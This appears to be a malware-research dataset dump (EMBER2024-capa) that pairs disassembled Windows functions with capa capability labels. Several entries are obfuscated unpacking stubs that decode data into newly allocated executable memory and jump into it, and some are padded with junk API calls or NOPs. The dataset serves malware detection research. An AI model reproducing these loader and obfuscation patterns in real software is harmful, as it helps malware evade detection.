joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f6fa
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001f773
lea eax, [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1001f731
push 0
push 0x187b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
jmp 0x1001f771
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 1
jmp 0x1001f753
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jl 0x1001f771
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1001f76f
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
jmp 0x1001f748
jmp 0x1001f7a3
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
push 0x5c2
push dword [ebp - 0x18]
push 0x112e
push dword [ebp - 0x1c]
push 0x5500
push 0
push 0x319
call fcn.1002002e
add esp, 0x1c
mov esp, ebp
pop ebp
ret

Function at 0x1001f7a7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001f7ce
push 1
push 0x410c
push 0x6e35
call fcn.1001f87a
add esp, 0xc
jmp 0x1001f876
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1001f859
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
shl eax, 4
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea eax, [eax + ecx*8 + 0x10070648]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 8]
mov eax, dword [eax + ecx*4]
mov dword [edx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x24]
and eax, 0x4000000
je 0x1001f857
mov eax, dword [ebp - 8]
mov eax, dword [eax]
or eax, 0x200
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x1001f876
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1001f876
push 0
push 0x187b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esp, ebp
pop ebp
ret
Function at 0x1001feeb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x1001ff93
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x28]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1001ff6c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x1001ff4d
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jge 0x1001ff6a
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.1000ed9f
mov dword [eax], 0x2d3f5047
jmp 0x1001ff42
jmp 0x1001ff8e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1001ff8e
push 0
push 0x57
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1002002a
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1001ffde
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1001ffdc
push 0x266c
push 0
push 0x230f
push 0x1a49
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x1002002a
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
push 0x5c59
mov eax, dword [ebp - 0x4c]
push dword [eax]
push 0x2b99
push 0x1f34
push 1
push dword [ebp - 0x50]
push 1
mov eax, dword [ebp - 0x54]
push dword [eax]
call fcn.100180da
add esp, 0x20
mov esp, ebp
pop ebp
ret
Function at 0x10024248
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1002428f
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 1
call fcn.100242e4
add esp, 0x18
jmp 0x100242e0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x100242da
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
lea eax, [eax*4 + 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [eax + 8]
call fcn.100502f6
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
jmp 0x100242e0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov esp, ebp
pop ebp
ret

Function at 0x1002441b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10024453
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1002444b
push 0xdd8
push 0x1791
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x10024451
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x10024488
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
push 0x55a2
push 0x1b49
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x3b29
push 0x17ce
push 1
push 0xc24
call fcn.1001a294
add esp, 0x20
mov esp, ebp
pop ebp
ret

Function at 0x1002581f
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002584c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
push 0x6911
push 0x3727
push 1
push dword [ebp - 4]
call fcn.1002588c
add esp, 0x10
jmp 0x10025888
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10025880
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1002587e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x10025888
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esp, ebp
pop ebp
ret
Function at 0x10025c06
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10067bf2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10025d28
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10025c6b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10025c66
push 0x1bad
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10025d26
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0x25260
push 3
lea ecx, [ebp - 0x44]
call fcn.1000ecc1
and dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x2282d564
mov dword [ebp - 0x10], 0
jmp 0x10025cac
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10025cc5
push dword [ebp - 0x10]
lea ecx, [ebp - 0x44]
call fcn.1000ed9f
mov dword [eax], 0x8795010f
jmp 0x10025ca5
mov dword [ebp - 0x28], 0x15e2
cmp dword [ebp - 0x28], 0x51d
jge 0x10025d13
push 0x1065bb38
push 0x100078b0
call fcn.1004f8bb
pop ecx
pop ecx
mov eax, dword [0x1065bb38]
and eax, 0x80000001
jns 0x10025cf7
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x10025d08
push 0x10007d18
call fcn.1004fca6
pop ecx
jmp 0x10025d13
push 0x10007d24
call fcn.1004fca6
pop ecx
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.1000ed74
jmp 0x10025d36
push 0
push 0x3233
call fcn.1001fe91
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100266dd
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10026702
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 1
call fcn.1002678e
pop ecx
pop ecx
jmp 0x1002678a
lea eax, [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10026749
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10026747
push 0x1fd4
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1002678a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
inc eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [ecx + 0xc], eax
mov esp, ebp
pop ebp
ret
Function at 0x10026f00
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10026fa3
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10026f79
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0
jmp 0x10026f5c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 3
jl 0x10026f77
push 1
mov ecx, dword [ebp - 0x24]
call fcn.1000ed9f
cmp dword [eax], 0
je 0x10026f75
jmp 0x10026f77
jmp 0x10026f51
jmp 0x10026f9e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x114f
push 0x1019
push 0x189d
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x10027063
mov eax, dword [ebp + 8]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x40], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x10027018
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10026ff9
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x10027016
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x3c]
call fcn.1000ed9f
mov dword [eax], 7
jmp 0x10026fee
jmp 0x10027063
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x10027046
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jge 0x10027063
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x50]
call fcn.1000ed9f
mov dword [eax], 1
jmp 0x1002703b
mov esp, ebp
pop ebp
ret
Function at 0x100431f6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100674a7
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x40], 0
je 0x1004331a
cmp byte [ebx + 0x45], 0
je 0x1004331a
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x10043240
xor al, al
jmp 0x1004331c
xor eax, eax
mov dword [esp + 0x24], 0xf
push eax
push 8
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], eax
mov byte [esp + 0x18], al
call fcn.100122e4
and dword [esp + 0x34], 0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp ecx, 0x10
lea eax, [esp + 0xc]
mov ecx, dword [ebx + 0x40]
lea edi, [esp + 0x10]
push eax
mov eax, dword [esp + 0x24]
lea esi, [esp + 0x14]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x100432a5
dec eax
je 0x100432a9
dec eax
dec eax
je 0x10043307
xor bl, bl
jmp 0x10043309
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x10]
mov edx, dword [esp + 0x10]
cmp ecx, 0x10
mov esi, dword [esp + 0xc]
cmovae eax, edx
sub esi, eax
je 0x100432e8
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [esp + 0x14]
push esi
cmovae eax, edx
push 1
push eax
call fcn.1005152f
add esp, 0x10
cmp esi, eax
jne 0x100432a1
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
cmp byte [ebx + 0x45], 0
je 0x10043307
test esi, esi
jne 0x1004326b
push esi
push 8
lea ecx, [esp + 0x18]
call fcn.10012283
jmp 0x10043263
mov bl, 1
push 0
push 1
lea ecx, [esp + 0x18]
call fcn.1000f2ac
mov al, bl
jmp 0x1004331c
mov al, 1
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100632f5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1006f740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10053ee8
mov dword [ebp - 0x14], eax
cmp dword [0x1065bb10], esi
jne 0x100633e8
push 0x800
push esi
push 0x100076e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10063375
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100634c8
push esi
push esi
push 0x100076e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100634c8
push 0x100076f8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100634c8
push eax
call ebx
push 0x10007704
push edi
mov dword [0x1065bb10], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007714
push edi
mov dword [0x1065bb14], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007728
push edi
mov dword [0x1065bb18], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1065bb20], eax
test eax, eax
je 0x100633e5
push 0x10007744
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1065bb1c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006340d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10063400
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10063422
push 4
pop eax
jmp 0x100634ca
cmp dword [ebp - 0x14], esi
je 0x10063422
push dword [0x1065bb10]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10063407
mov eax, dword [0x1065bb1c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10063480
cmp dword [0x1065bb20], edi
je 0x10063480
push eax
call ebx
push dword [0x1065bb20]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10063480
test eax, eax
je 0x10063480
call ecx
test eax, eax
je 0x10063475
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10063475
test byte [ebp - 8], 1
jne 0x10063480
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x100634b0
mov eax, dword [0x1065bb14]
cmp eax, edi
je 0x100634ad
push eax
call ebx
test eax, eax
je 0x100634ad
call eax
mov esi, eax
test esi, esi
je 0x100634ad
mov eax, dword [0x1065bb18]
cmp eax, edi
je 0x100634ad
push eax
call ebx
test eax, eax
je 0x100634ad
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1065bb10]
call ebx
test eax, eax
je 0x100634c8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x100634ca
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10051e36
mov esp, ebp
pop ebp
ret
Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret

Function at 0x4118ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4118dd
pop dword [ebp - 0x50]
mov eax, 0x4118dd
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xffd7fdd3
add dword [ebp - 0x60], 0x4e7a4778
mov dword [ebp - 0x5c], 0xc853f291
add dword [ebp - 0x5c], 0x69df59b4
mov dword [ebp - 0x58], 0x4805a291
sub dword [ebp - 0x58], 0xfbb95e63
mov dword [ebp - 0x54], 0xd36d0d4f
add dword [ebp - 0x54], 0x2c92f2b1
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc82e7ae5
sub eax, 0xc7ed3a55
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xa7b6521d
sub dword [ebp - 0x60], 0x3343e8c7
mov dword [ebp - 0x5c], 0x608728ce
add dword [ebp - 0x5c], 0xe0e538a7
mov dword [ebp - 0x58], 0xca5e20cc
add dword [ebp - 0x58], 0x99114ba0
mov dword [ebp - 0x54], 0x5b550fa9
add dword [ebp - 0x54], 0xa4aaf057
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xcfb64948
sub eax, 0xcf75090c
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3c39c
push 0
call eax
mov ecx, 0x931da5d4
sub ecx, 0x931d5804
xor edi, edi
add edi, eax
mov ebx, 0x41c000
add ebx, dword [ebp - 0x50]
mov esi, 0xd6ca2fc2
xor dword [ebp - 0x24], 0x725b2eec
mov edx, dword [ebx]
xor dword [ebp - 0x18], esi
add edx, esi
sub dword [ebp - 0x40], 0xc309ea68
mov dword [edi], edx
add edi, 0x9160f222
add edi, 0x6e9f0de2
add ebx, 4
loop 0x4119f0
add eax, 0x12a13
xor ebx, ebx
add ebx, eax
add eax, 0xb5156f1f
add eax, 0x4aea90e6
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2cac6e8d
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0xe2062cd
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10006110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000611f
pop dword [ebp - 0x20]
mov eax, 0x6121d1c0
add eax, 0xaede8f5f
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x72ce370f
sub dword [ebp - 0x30], 0x247bf1c4
mov dword [ebp - 0x2c], 0x1057c979
add dword [ebp - 0x2c], 0x21db82cc
mov dword [ebp - 0x28], 0x196630c3
sub dword [ebp - 0x28], 0xcd19ec95
mov dword [ebp - 0x24], 0xb0d1d191
add dword [ebp - 0x24], 0x4f2e2e6f
lea eax, [ebp - 0x30]
push eax
mov eax, 0x7cfb5b99
add eax, 0x9305c4a7
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xaa9e9410
sub dword [ebp - 0x30], 0x362c2aba
mov dword [ebp - 0x2c], 0x1bb76fd1
sub dword [ebp - 0x2c], 0xda4b0e5c
mov dword [ebp - 0x28], 0xe3380320
sub dword [ebp - 0x28], 0x7fc896b4
mov dword [ebp - 0x24], 0x2985b4e4
add dword [ebp - 0x24], 0xd67a4b1c
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x84c4d68e
sub eax, 0x74c3b64a
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3b559
push 0
call eax
mov ecx, 0x4e78
xor edx, edx
add edx, eax
mov edi, 0x1001b000
add edi, dword [ebp - 0x20]
mov esi, 0x3ba75988
add esi, 0x72a88d6c
xor dword [ebp - 8], 0xd174890b
mov ebx, dword [edi]
sub dword [ebp - 8], 0x40fceeb7
sub ebx, esi
mov dword [ebp - 0xc], 0x59010526
mov dword [edx], ebx
add edx, 0xd7a69291
sub edx, 0xd7a6928d
add edi, 0x2a41841a
sub edi, 0x2a418416
loop 0x10006237
add eax, 0x22160191
add eax, 0xddeb2b22
mov ebx, eax
add eax, 0x82b2258d
add eax, 0x7d4dda78
mov ecx, 0x8879197
add ecx, 0x7786e69
add ecx, dword [ebp - 0x20]
call ebx
leave
ret